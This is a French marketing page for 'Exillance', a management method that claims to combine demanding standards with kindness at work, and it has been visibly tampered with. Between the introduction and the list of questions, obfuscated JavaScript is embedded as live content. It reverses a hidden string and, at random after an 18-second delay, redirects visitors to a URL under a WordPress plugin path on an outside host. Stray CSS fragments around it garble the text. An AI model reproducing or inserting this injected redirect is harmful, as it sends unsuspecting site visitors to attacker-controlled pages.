"L'exigence sans la bienveillance fait mal, la bienveillance sans l'exigence fait perdre"

Frédéric Vandewalle, "Exillance, le cocktail gagnant"

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Exillance® est la méthode managériale et relationnelle la plus simple au monde qui vous permettra de combiner Performance et Qualité de vie au travail !

Notre conviction en matière de management est de trouver l’équilibre entre obtenir des résultats et préserver de bonnes relations humaines, entre l’Exigence et la Bienveillance. Cette conviction s’appelle Exillance…

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1647438199237{padding-bottom: 20px !important;} »]✔️ Le management autoritaire a-t-il du bon ? En toutes circonstances ?

✔️ Si vous laissez agir vos collaborateurs seuls, les objectifs seront -ils assurément atteints ?

✔️ Ne pas intervenir en cas de situation tendue avec un membre de votre équipe, est-ce la garantie d’une meilleure ambiance, d’un bon respect du management, d’une motivation à toute épreuve ?

✔️ Être « gentil » avec votre équipe la conduit-elle à la performance ?

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En revanche savoir être exigent mais seulement quand c’est nécessaire et être bienveillant (et non gentil) à l’égard de son équipe est pour nous le cocktail gagnant !

Exillance est basée sur l’équilibre de la combinaison de l’exigence et de la bienveillance au travail. Notre ambition est de vous aider à dépasser régulièrement les objectifs tout en préservant durablement les relations humaines. Exillance est déclinée en 2 programmes de base (Le Management Exillant® et Les Relations Exillantes®) et propose également plusieurs options pour maximiser les impacts collectifs et/ou optimiser l’efficacité individuelle.

»QUELQUES

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✔️ Baisse du présentéisme passif, de l’absentéisme et du turn-over ainsi que des coûts et des travaux administratifs qu’ils engendrent

✔️ Développement de la lucidité, des niveaux d’empathie et de compréhension grâce à une prise de conscience de l’impact de ces comportements sur les autres

✔️ Amélioration de l’ambiance de travail et de la qualité de vie professionnelle en raison d’une plus grande sérénité pour l’ensemble des collaborateurs

✔️ Développement d’une ‘marque employeur’ commune aux 4 centres de formation alsacien dans un premier temps

✔️ Augmentation du niveau d’implication et d’engagement par le sens, l’équité et la reconnaissance donnés

✔️ Evolution de la légitimité et de la performance managériale en faveur d’un leadership assumé et d’une cohésion d’équipe dirigeante sereine et pérenne

»DÉCOUVREZ

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